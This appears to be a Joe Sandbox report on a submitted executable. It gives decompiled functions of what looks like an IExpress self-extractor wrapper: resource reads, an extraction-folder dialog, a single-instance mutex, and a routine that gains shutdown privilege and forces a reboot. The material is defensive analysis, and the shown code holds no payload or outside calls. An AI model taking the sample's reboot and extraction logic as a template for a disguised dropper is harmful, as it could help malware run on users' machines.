API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 3831d014ddd9635308b88dfc84cd14b2805a511e421fc67e9e0d1dcbe44bf55e
Instruction ID: bfb9a09399ba0e53a106b320a3f9f819a8b227cef5e80c519e1483168c89c423
Opcode Fuzzy Hash: 3831d014ddd9635308b88dfc84cd14b2805a511e421fc67e9e0d1dcbe44bf55e
Instruction Fuzzy Hash: 9A314A71A00209EFDF209FA5DC99AAFBFBCFF04304F561429E645E2161EB719905CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00861F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00861F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0x869a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0x868004; // 0xb82e2007
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E008644B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E00866CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E008644B9(0, 0x522, 0x861140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E00861EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x00861f90
0x00861f90
0x00861f93
0x00861f98
0x00861fa4
0x00861fa7
0x00861fc5
0x00861fcd
0x00861fdb
0x00861ee5
0x00861eea
0x00861ef1
0x00861ef4
0x00861f0c
0x00861f2e
0x00861f3a
0x00861f46
0x00861f4d
0x00861f58
0x00861f60
0x00861f61
0x00861f62
0x00861f75
0x00861f80
0x00861f77
0x00861f77
0x00000000
0x00861f77
0x00861f64
0x00861f64
0x00000000
0x00861f64
0x00861f0e
0x00861f0e
0x00861f13
0x00861f13
0x00861f14
0x00861f14
0x00861f16
0x00861f17
0x00861f1a
0x00861f1f
0x00861f1f
0x00861f86
0x00861f8f
0x00861fcf
0x00861fd3
0x00000000
0x00861fd3
0x00861fa9
0x00861fb4
0x00861fbb
0x00861fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x00861fc3
0x00861f9a
0x00861f9a
0x00861fa2
0x00861fd9
0x00861fda
0x00000000
0x00000000
0x00000000
0x00861fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00861EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00861F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00861FD3

Strings

SeShutdownPrivilege, xrefs: 00861F28

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 0be5f414c2daa4b7aad01b7502c19cfe67b77939c09cc001c5ae68923b1aecdf
Instruction ID: 5a48f666cce1e957b9155409394e6247254557998bb1054e33b8c3debd196b23
Opcode Fuzzy Hash: 0be5f414c2daa4b7aad01b7502c19cfe67b77939c09cc001c5ae68923b1aecdf
Instruction Fuzzy Hash: E721F971B40205BBDF209BA59C4EFBF76B8FB85B10F161018FA02E6182DF7588019662

Uniqueness

Uniqueness Score: -1.00%

Function 00867155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00867155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0x868004; // 0xb82e2007
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0x868004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0x868004 = _t39;
				}
				_t37 =  !_t36;
				 *0x868008 = _t37;
				return _t37;
			}

0x0086715d
0x00867161
0x00867165
0x00867178
0x00867182
0x0086718e
0x00867197
0x008671a0
0x008671b1
0x008671b8
0x008671c4
0x008671c7
0x008671cb
0x008671d5
0x008671da
0x008671da
0x008671dc
0x008671dc
0x008671e2
0x008671e5
0x008671ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00867182
GetCurrentProcessId.KERNEL32 ref: 00867191
GetCurrentThreadId.KERNEL32 ref: 0086719A
GetTickCount.KERNEL32 ref: 008671A3
QueryPerformanceCounter.KERNEL32(?), ref: 008671B8

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 300c7f33a6fb21ee764bfdc464e9c19284375df29d3cac951bc61bce44204d5d
Instruction ID: 291dadb60f799540f9ce16a1dc3d1bb42484bd1cf9e126e33ced7bc1955bc1c6
Opcode Fuzzy Hash: 300c7f33a6fb21ee764bfdc464e9c19284375df29d3cac951bc61bce44204d5d
Instruction Fuzzy Hash: 58114871D01608EFCB14DFB8DA48A9EB7F8FF19314F625966E806E7210EA709A048F41

Uniqueness

Uniqueness Score: -1.00%

Function 00866CF0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00866CF0(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00866cf7
0x00866d00
0x00866d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00866E26,00861000), ref: 00866CF7
UnhandledExceptionFilter.KERNEL32(00866E26,?,00866E26,00861000), ref: 00866D00
GetCurrentProcess.KERNEL32(C0000409,?,00866E26,00861000), ref: 00866D0B
TerminateProcess.KERNEL32(00000000,?,00866E26,00861000), ref: 00866D12

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 6ca2fbdcf6f03ef026a04d05434f4fdfd87b929ab20558461e6ea2b91e6c6386
Instruction ID: 85cd3eb6e65a623585eb29780365c8f13072c33899e078f0c4f474fbed733776
Opcode Fuzzy Hash: 6ca2fbdcf6f03ef026a04d05434f4fdfd87b929ab20558461e6ea2b91e6c6386
Instruction Fuzzy Hash: 31D01232000108BBDB042BF1EC0CA593F28FB4A312F466000F31FA6020CBB29451CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00863210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00863210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E008643D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "herso");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0x869a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0x8691e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E008644B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0x8691e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0x8691e5 - 3;
						if(_t49 - 0x8691e5 < 3) {
							goto L32;
						}
						_t24 =  *0x8691e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0x8691e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E0086658A(0x8691e4, 0x104, 0x861140);
								_t27 = E008658C8(0x8691e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0x8691e4 - 0x5c;
									if( *0x8691e4 != 0x5c) {
										L30:
										_t30 = E0086597D(0x8691e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0x8691e5 - 0x5c;
									if( *0x8691e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E008644B9(_t64, 0x54a, 0x8691e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0x8691e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0x8691e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0x8691e4 - 0x5c;
						if( *0x8691e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0x869124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0x869a3c, 0x3e8, 0x868598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E00864224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0x8687a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E008644B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x0086321b
0x0086321e
0x00863221
0x0086343c
0x0086343e
0x0086343f
0x00863445
0x00863447
0x00000000
0x00863447
0x00863229
0x0086322a
0x0086322f
0x008633ec
0x008633f7
0x00863410
0x00863416
0x0086341d
0x0086342d
0x0086342d
0x00863438
0x00000000
0x00863438
0x00863237
0x00863243
0x00863243
0x00863246
0x008632ee
0x008632f4
0x008632f6
0x008633d4
0x008633d6
0x008633db
0x008633dc
0x008633de
0x008633df
0x00863370
0x00863372
0x00000000
0x00863372
0x008632fc
0x00863301
0x00863301
0x00863303
0x00863304
0x00863304
0x0086330a
0x0086330d
0x00000000
0x00000000
0x00863313
0x00863318
0x0086331a
0x00863331
0x00863332
0x0086333a
0x0086333d
0x0086337c
0x00863388
0x0086338f
0x00863394
0x00863396
0x008633a4
0x008633ab
0x008633b6
0x008633be
0x008633c3
0x008633c5
0x00863435
0x00863437
0x00863437
0x00000000
0x00863437
0x008633c7
0x008633c9
0x008633cc
0x00000000
0x008633cc
0x008633ad
0x008633b4
0x00000000
0x00000000
0x00000000
0x008633b4
0x00863398
0x00863399
0x0086339b
0x0086339c
0x0086339d
0x00000000
0x0086339d
0x0086334c
0x00863351
0x00863354
0x00000000
0x00000000
0x0086335c
0x00863362
0x00863364
0x00000000
0x00000000
0x00863366
0x00863367
0x00863369
0x0086336a
0x0086336b
0x00000000
0x0086336b
0x0086331c
0x00863323
0x00000000
0x00000000
0x00863329
0x0086332b
0x00000000
0x00000000
0x00000000
0x0086332b
0x0086324c
0x0086324c
0x0086324f
0x008632c8
0x008632ce
0x00000000
0x008632ce
0x00863251
0x00863256
0x00000000
0x00000000
0x00863271
0x00863277
0x00863279
0x00863298
0x0086329d
0x0086329f
0x00000000
0x00000000
0x008632b0
0x008632b6
0x008632b8
0x00000000
0x00000000
0x008632be
0x00863280
0x00863289
0x0086328e
0x00000000
0x0086328e
0x0086327b
0x00000000
0x0086327b
0x00000000

APIs

LoadStringA.USER32(000003E8,00868598,00000200), ref: 00863271
GetDesktopWindow.USER32 ref: 008633E2
SetWindowTextA.USER32(?,herso), ref: 008633F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00863410
GetDlgItem.USER32(?,00000836), ref: 00863426
EnableWindow.USER32(00000000), ref: 0086342D
EndDialog.USER32(?,00000000), ref: 0086343F

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008632E2, 008632E7, 00863331, 00863344, 0086335B, 0086336A
herso, xrefs: 008633F1

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$herso
API String ID: 2418873061-1350055137
Opcode ID: ced26c7dd88deb8194233f698df0042207cf6222bcfa83666cc480a5c4080708
Instruction ID: eb8b91f313adf11f9b448b20306f0c01ef9c666bf0eb35d1a761b4c0a459bafa
Opcode Fuzzy Hash: ced26c7dd88deb8194233f698df0042207cf6222bcfa83666cc480a5c4080708
Instruction Fuzzy Hash: B0513730381240B7FB251B396C8DF7B795DFB56B45F134028F246E63C1CEE88A0196A6

Uniqueness

Uniqueness Score: -1.00%

Function 00862CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00862CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0x868004; // 0xb82e2007
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0x869a3c = __ecx;
				memset(0x869140, 0, 0x8fc);
				memset(0x868a20, 0, 0x32c);
				memset(0x8688c0, 0, 0x104);
				 *0x8693ec = 1;
				_t20 = E0086468F("TITLE", 0x869154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0x86858c = _t27;
					SetEvent(_t27);
					_t64 = 0x869a34;
					if(E0086468F("EXTRACTOPT", 0x869a34, 4) != 0) {
						if(( *0x869a34 & 0x000000c0) == 0) {
							L12:
							 *0x869120 =  *0x869120 & _t65;
							if(E00865C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0x868a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0x868184 != 0) {
										__imp__#17();
									}
									if( *0x868a24 == 0) {
										_t57 = _t65;
										if(E008636EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0x869a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0x869a34 & 0x00000100) == 0 || ( *0x868a38 & 0x00000001) != 0 || E008618A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E00866517(_t57, 0x7d6, _t34, E008619E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E00862390(0x868a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E008644B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E0086468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0x868588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0x869a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E008644B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E008644B9(0, 0x54b, "herso", 0, 0x10, 0);
										L11:
										CloseHandle( *0x868588);
										 *0x869124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E008644B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0x869124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E00866CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x00862cb5
0x00862cbc
0x00862cc7
0x00862cc9
0x00862cd1
0x00862cd3
0x00862cd9
0x00862ce9
0x00862cf9
0x00862d0e
0x00862d15
0x00862d1c
0x00862ef3
0x00000000
0x00862d2d
0x00862d34
0x00862d3b
0x00862d40
0x00862d48
0x00862d59
0x00862d84
0x00862e1f
0x00862e1f
0x00862e2e
0x00862e41
0x00862e5a
0x00862e62
0x00862e6c
0x00862e6c
0x00862e75
0x00862e77
0x00862e77
0x00862e84
0x00862e8b
0x00862e94
0x00000000
0x00862e96
0x00862e96
0x00862e9e
0x00862ea2
0x00862eba
0x00000000
0x00862ece
0x00862ede
0x00862eed
0x00000000
0x00000000
0x00000000
0x00000000
0x00862eed
0x00862eef
0x00862eef
0x00862eef
0x00862eef
0x00862ea2
0x00862e86
0x00862e88
0x00862e88
0x00862e43
0x00862e48
0x00000000
0x00862e48
0x00862e30
0x00862e30
0x00862ef8
0x00862f01
0x00000000
0x00862f01
0x00862d8a
0x00862d8f
0x00862da1
0x00000000
0x00862da3
0x00862dae
0x00862db4
0x00862dbb
0x00000000
0x00862dca
0x00862dd3
0x00862df5
0x00862e02
0x00000000
0x00000000
0x00000000
0x00000000
0x00862dd5
0x00862dde
0x00862de3
0x00862e04
0x00862e0a
0x00862e10
0x00000000
0x00862e10
0x00862dd3
0x00862dbb
0x00862da1
0x00862d5b
0x00862d5b
0x00862d5d
0x00862d69
0x00862d6e
0x00862f06
0x00862f06
0x00862f06
0x00862d59
0x00862f18

APIs

memset.MSVCRT ref: 00862CD9
memset.MSVCRT ref: 00862CE9
memset.MSVCRT ref: 00862CF9

Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646A0
Part of subcall function 0086468F: SizeofResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646A9
Part of subcall function 0086468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008646C3
Part of subcall function 0086468F: LoadResource.KERNEL32(00000000,00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646CC
Part of subcall function 0086468F: LockResource.KERNEL32(00000000,?,00862D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008646D3
Part of subcall function 0086468F: memcpy_s.MSVCRT ref: 008646E5
Part of subcall function 0086468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008646EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00862D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 00862D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00862DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 00862DBD
CloseHandle.KERNEL32(herso,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 00862E0A

Part of subcall function 008644B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00864518
Part of subcall function 008644B9: MessageBoxA.USER32(?,?,herso,00010010), ref: 00864554

Strings

herso, xrefs: 00862D04, 00862DD9, 00862DF0
VERCHECK, xrefs: 00862E54
TITLE, xrefs: 00862D09
EXTRACTOPT, xrefs: 00862D4D
INSTANCECHECK, xrefs: 00862D95

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$herso
API String ID: 1002816675-4197546956
Opcode ID: ae92c140c9e94043d804745d32a5662875ff925d0ebc503b33816c09dcc30fea
Instruction ID: 69e2d8836d28011eb6eb59eb5ab9133105790ba16fe455229e14f94dd791c9c1
Opcode Fuzzy Hash: ae92c140c9e94043d804745d32a5662875ff925d0ebc503b33816c09dcc30fea
Instruction Fuzzy Hash: F4512670240B01AAEB24A7649C1AB3B369DFB51711F075075F986D62D2EFF98841CB23

Uniqueness

Uniqueness Score: -1.00%

Function 008634F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E008634F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0x8691d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0x868584 = _t35;
					E008643D0(_t35, GetDesktopWindow());
					__eflags =  *0x868184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "herso");
					_t17 = CreateThread(0, 0, E00864FE0, 0, 0, 0x868798);
					 *0x86879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E008644B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0x86858c);
					_t38 =  *0x868584; // 0x0
					_t25 = E008644B9(_t38, 0x4b2, 0x861140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0x8691d8 = 1;
						SetEvent( *0x86858c);
						_t39 =  *0x86879c; // 0x0
						E00863680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0x86858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0x86879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x008634fb
0x008634fe
0x00863665
0x00863666
0x00863666
0x00863668
0x0086366e
0x0086366e
0x00863671
0x00863671
0x00863677
0x00000000
0x00863677
0x00863504
0x00863506
0x00863507
0x0086350c
0x0086365b
0x0086365f
0x00000000
0x00000000
0x00000000
0x00863661
0x00863512
0x00863515
0x008635be
0x008635c1
0x008635d1
0x008635d8
0x008635de
0x008635f8
0x00863617
0x00863617
0x00863623
0x00863637
0x0086363d
0x00863642
0x00863644
0x00000000
0x00863646
0x00863652
0x00863657
0x00863658
0x00000000
0x00863658
0x00863644
0x0086351b
0x0086351d
0x0086354f
0x00863553
0x00000000
0x00000000
0x0086355f
0x00863565
0x0086357c
0x00863581
0x00863584
0x0086359b
0x008635a1
0x008635a7
0x008635ad
0x008635b3
0x008635b8
0x00000000
0x008635b8
0x00863586
0x00863588
0x00000000
0x00000000
0x00863590
0x00000000
0x00863590
0x00863524
0x00863535
0x00863541
0x00000000
0x00863549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 00863535
EndDialog.USER32(?,?), ref: 00863541
ResetEvent.KERNEL32 ref: 0086355F
SetEvent.KERNEL32(00861140,00000000,00000020,00000004), ref: 00863590
